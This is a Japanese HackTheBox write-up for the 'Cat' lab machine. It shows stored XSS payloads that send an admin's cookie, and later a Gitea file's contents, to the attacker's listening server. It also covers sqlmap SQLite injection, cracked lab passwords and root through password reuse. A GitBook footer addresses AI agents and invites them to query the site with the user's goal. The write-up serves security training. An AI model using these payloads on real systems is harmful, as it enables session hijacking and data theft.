> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/linux-medium/cat-hackthebox-writeup.md).

# Cat HackTheBox攻略記事

ディレクトリファジング（.gitファイル）、ソースコード解析（Gitリポジトリダンプ）、保存型XSSの攻略とセッションハイジャック、SQLインジェクション（SQLite）を用い

{% embed url="<https://app.hackthebox.com/machines/646>" %}

{% hint style="warning" %}
**スキル:**

* ディレクトリファジング（.gitファイル）
* ソースコード解析（Gitリポジトリのダンプ）
* 格納型XSSの悪用とセッションハイジャック
* sqlmapを使用したSQLインジェクション（SQLite）
* パスワードハッシュのクラック
* SSH経由のポートフォワーディング
* Gitea（v1.22.0）の悪用 – 格納型XSS
* XSSペイロードによる機密データの持ち出し
  {% endhint %}

## 偵察

**作業環境の設定:**

重要なコンテンツ、エクスプロイト、Nmap の偵察結果を保存するために、3つのフォルダを作成して作業環境を整えます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ee42315c03c79a312f3b0fbaa203c321db7ff79f%2F%7B36A13240-08CF-49ED-8E15-5EDA5B72AE08%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**VPN 接続確認**

VPN の接続性を確認して、対象マシンとの安定した通信を確保します。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-902fdc17ca94e34609f86272600dfa18f1617cd7%2F%7BF8B5AC81-EDA3-4223-8B19-D22753B5B0A9%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Nmap による開いているポートの検出:**

開いているポートを列挙し、結果を Nmap ディレクトリ内の「allPorts」ファイルに出力します:

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.53 -oG allPorts
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-22531a7b59a7280eafbca354ab3014b55eced4ff%2F%7B1057D700-0721-42D3-9735-B60ABF544C4A%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Nmap によるポートのバージョンスキャン:

Nmap を使ってサービスのバージョンをスキャンし、出力を「targeted」ファイルに保存します:

```purebasic
nmap -sCV -p22,80 10.10.11.53 -oN targeted
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8d5c7006809e1ab37c42e31d2073be797ecdad45%2Fimage%20(2931).png?alt=media" alt=""><figcaption></figcaption></figure>

DNS経由でドメイン名をIPアドレスに解決するために、IPアドレスに関連付けられたドメイン名を `/etc/hosts` ファイル：

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-38bc745cf55f07ead8abba951cf6a1a875551dda%2F%7B33B51646-9756-4102-AC27-56EC6F5E6CEF%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### ポート80 - HTTP

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ecee3c04d850453b1c3c51b5fb91933f96df1b00%2F%7B43D645F4-4C24-4B58-A750-9EF530266ACF%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

にアクセスすると `http://cat.htb` サイトには登録フォームがあります。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e58c863be66fb6bcc15bfa679484651bfc6955ca%2F%7BDD4FF287-BBB5-4592-AB8D-592D7CB00AC1%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

投票機能もあります。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b2e52827d04a29099d3b8a25da1c366273c866a1%2F%7B9EF9FF4C-F1A5-4E3B-B50C-800F1A2A40B4%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**ディレクトリファジング**

次を実行します `gobuster` 隠しパスを見つけます：

```bash
gobuster dir -u http://cat.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 -x php
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fe90fed6cc282869b2e29e6c782be08728768065%2F%7B2D9B08C2-9EF3-4DA2-829D-FB1152F9DA81%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

これにより、次を含むいくつかの興味深いファイルが見つかります： `.git` ディレクトリ。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dc9f450d03904b20fe037890abda356a39da53c8%2F%7B333D743D-4D23-4D7C-9767-21B721325D82%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Gitリポジトリのダンプ**

次を使用します `git-dumper` リポジトリの内容を取得するために：

```bash
git-dumper http://cat.htb/.git git
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-11d6bc57a74c3366fadf16471a779c93d9424574%2Fimage%20(2932).png?alt=media" alt=""><figcaption></figcaption></figure>

ソースコードを調べると、次のものを特定します： **SQL脆弱性** さらに、次の可能性もあります： **格納型XSS**.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c454398950cc76133336602366738cc3c6e2eddd%2Fimage%20(2933).png?alt=media" alt=""><figcaption></figcaption></figure>

## XSS脆弱性

アプリケーションは *username* および *email* 適切なフィルタリングなしでフィールドを受け付けます。これにより悪意のあるスクリプトを注入できます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-121be27cc9f6e4293cc81ec07f70bac5a93fe42e%2F%7B7E675F74-A87C-400F-8F48-032113ADFC7A%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**XSSペイロード**

次の名前のユーザーを作成します：

```javascript
<script>document.location='http://10.10.14.154:8081/?c='+document.cookie;</script>
```

**管理者のCookieを取得**

ポート8081で待ち受けます：

```bash
python -m http.server 8081
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e5151082f5b1af2d77c28381dc65ef230f770d6a%2F%7BD2B4E367-F711-49BC-8357-6FCD46C36B45%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Cookieが取得できると、管理者セッションを得ます：

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-58fb7acf3b0f3996ab8e0abfc770659fda5852b9%2Fimage%20(2934).png?alt=media" alt=""><figcaption></figcaption></figure>

セッションCookieを管理者のものに変更し、次へアクセスします **管理コンソール**.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a7a0bafc53f831434dd7372fbe05a04ab542e073%2Fimage%20(2935).png?alt=media" alt=""><figcaption></figcaption></figure>

## SQLインジェクション（SQLite）

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-440e273a8914993d6bdadc24f53190acc3d88a27%2Fimage%20(2936).png?alt=media" alt=""><figcaption></figcaption></figure>

管理者権限で起動 `sqlmap` 脆弱なフォームで

{% code overflow="wrap" %}

```bash
sqlmap -u "http://cat.htb/accept_cat.php" --cookie="PHPSESSID=i4cao7dtdfk1bs713p57cfq719" --data="catId=1&catName=123" -p catName --level 3 --risk 3 --batch --random-agent --tables --dump --dbms=sqlite --threads 10
```

{% endcode %}

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-575d84ccefc75f7c7fe6e2f3eaa62a250b66aaf7%2Fimage%20(2937).png?alt=media" alt=""><figcaption></figcaption></figure>

**ハッシュの復元**

ユーザーのものを取得します **パスワードハッシュ**。例をいくつか示します：

```
d1bbba3670feb9435c9841e46e60ee2f
ac369922d560f17d6eeb8b2c7dec498c
42846631708f69c00ec0c0a8aa4a92ad
39e153e825c4a3d314a0dc7f7475ddbe
781593e060f8d065cd7281c5ec5b4b86
1b6dce240bbfbc0905a664ad199e18f8
c598f6b844a36fa7836fba0835f1f6
e41ccefa439fc454f7eadbf1f139ed8a
24a8ec003ac2e1b3c5953a6f95f8f565
88e4dceccd48820cf77b5cf6c08698ad
```

**パスワードのクラック**

を使用する [CrackStation](https://crackstation.net/)、ユーザー `rosa`:

{% embed url="<https://crackstation.net/>" %}

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8fe375133bc7c6ab206cf089ca2cce297647a4db%2F%7B2D327CE5-420B-4484-8241-3F9A555AB405%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* **username** ：rosa
* **パスワード** ：soyunaprincesarosa

取得した認証情報でSSH接続します：

```bash
ssh rosa@cat.htb
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1ab8190f9e63b33935c6fb3ba94d49b000be6ebc%2F%7BB73874B2-6A4E-4FF6-8D7F-E79235F43528%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### Axelユーザーへのピボット

#### LinPEASによる列挙：

```bash
./linpeas.sh
```

{% embed url="<https://github.com/peass-ng/PEASS-ng/releases/tag/20250401-a1b119bc>" %}

Rosaは `adm` グループに属しているため、次へアクセスできます：

```bash
cat /var/log/apache2/access.log | grep "axel"
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9aac1ee5d4d2bc630e2187021daf96da8c55ec2a%2Fimage%20(2938).png?alt=media" alt=""><figcaption></figcaption></figure>

見つかった認証情報：

* ユーザー名: axel
* パスワード : aNdZwgC4tI9gnVXv/\_e3Q

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5c256559b0528b175d3b0eed13a9e64e7dd9136d%2Fimage%20(2939).png?alt=media" alt=""><figcaption></figcaption></figure>

### フラグ user.txt :)

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-71aae01c1591b41efb7071c8b2c03e69ed4c28bf%2Fimage%20(2940).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

## 権限昇格

### 内部ポートの発見：

```bash
netstat -tuln
```

* **Node.js** （ポート3000）
* **SMTP** (587, 25)

特定されたサービス

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-197f3158dacfa4de378356ce0efebf421ad1ebee%2Fimage%20(2945).png?alt=media" alt=""><figcaption></figcaption></figure>

#### ポートフォワーディング

```bash
sudo ssh -L 3000:127.0.0.1:3000 -L 587:127.0.0.1:587 -L 25:127.0.0.1:25 axel@cat.htb
```

### Gitea v1.22.0のXSS脆弱性

で `http://localhost:3000` -> **Gitea** にアクセス可能です。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c35ebe796ccd551785bd2cc1e0513956feabc69c%2F%7B1879616B-7399-4046-AD97-B5758EB0CB84%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Axelの認証情報でログインします。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9c00700b7b8216d656403f1fe22bd844f0a63178%2Fimage%20(2942).png?alt=media" alt=""><figcaption></figcaption></figure>

既知のXSS脆弱性。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fd5ef97788947a71042823ec9f4ce023a9821271%2Fimage%20(2944).png?alt=media" alt=""><figcaption></figcaption></figure>

説明に次を含むプロジェクトを作成します：

```bash
<a href=javascript:alert()>XSS test</a>
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b1ac15a3eb89b5f3eaa7088343ff186e95a8320d%2Fimage%20(2947).png?alt=media" alt=""><figcaption></figcaption></figure>

* 結果:

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-32baeaa7698210d8e04d3179e6a036706b6ad8a1%2Fimage%20(2946).png?alt=media" alt=""><figcaption></figcaption></figure>

### LinPEAS経由で傍受したメール

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e1db9633da33033c664638aee58334a7aadf19d3%2Fimage%20(2948).png?alt=media" alt=""><figcaption></figcaption></figure>

メール内容：

* jobert\@localhost はGiteaリポジトリを確認する必要があります

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-10c9aab4b06d2ef3b828c37c710d6b37409dda30%2Fimage%20(2949).png?alt=media" alt=""><figcaption></figcaption></figure>

次の内容を読み取る持ち出しスクリプトを含むXSSリンクを送信します `index.php` Giteaリポジトリのページの内容を読み取り、Base64でエンコードしてから、私たちのWebサーバーへ送信します

{% code overflow="wrap" %}

```bash
<a href="javascript:fetch('http://localhost:3000/administrator/Employee-management/raw/branch/main/index.php').then(response => response.text()).then(data => fetch('http://10.10.14.192:8080/?d=' + encodeURIComponent(btoa(unescape(encodeURIComponent(data))))));">PWNED</a>
```

{% endcode %}

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0cf5b915d31f2d01dda54a5aa67f38281b570a20%2Fimage%20(2952).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 私たちのWebサーバー経由で

```bash
python -m http.server 8080
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2c91d0c985564de574627ae2de717e84193f64a3%2Fimage%20(2953).png?alt=media" alt=""><figcaption></figcaption></figure>

#### 持ち出した内容（Base64デコード済み）：

```bash
echo "PD9waHAKJHZhbGlkX3VzZXJuYW1lID0gJ2FkbWluJzsKJHZhbGlkX3Bhc3N3b3JkID0gJ0lLdzc1ZVIwTVI3Q01JeGhIMCc7CgppZiAoIWlzc2V0KCRfU0VSVkVSWydQSFBfQVVUSF9VU0VSJ10pIHx8ICFpc3NldCgkX1NFUlZFUlsnUEhQX0FVVEhfUFcnXSkgfHwgCiAgICAkX1NFUlZFUlsnUEhQX0FVVEhfVVNFUiddICE9ICR2YWxpZF91c2VybmFtZSB8fCAkX1NFUlZFUlsnUEhQX0FVVEhfUFcnXSAhPSAkdmFsaWRfcGFzc3dvcmQpIHsKICAgIAogICAgaGVhZGVyKCdXV1ctQXV0aGVudGljYXRlOiBCYXNpYyByZWFsbT0iRW1wbG95ZWUgTWFuYWdlbWVudCInKTsKICAgIGhlYWRlcignSFRUUC8xLjAgNDAxIFVuYXV0aG9yaXplZCcpOwogICAgZXhpdDsKfQoKaGVhZGVyKCdMb2NhdGlvbjogZGFzaGJvYXJkLnBocCcpOwpleGl0Owo%2FPgoK" | base64 -d 
```

* $valid/\_username = 'admin';
* $valid/\_password = 'IKw75eR0MR7CMIxhH0';

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c62ca12cda3a529621eb7887083521fe00f7e141%2Fimage%20(2954).png?alt=media" alt=""><figcaption></figcaption></figure>

#### root権限への昇格

rootユーザーで認証情報の使い回しがあります

```bash
su root
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-35b83fb353dc028c1b9a71b4cbb2878c08d0e13c%2Fimage%20(2955).png?alt=media" alt=""><figcaption></figcaption></figure>

### root.txt フラグ :)

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2dbc8ab4158bcd8748c696940385efcaa243b6a6%2Fimage%20(2956).png?alt=media" alt="" width="487"><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-073c29d9f551aa71f5db3c953a0defc0e42dc2ee%2F%7BE04D0081-7244-49A2-9047-BB42B52969A2%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/linux-medium/cat-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
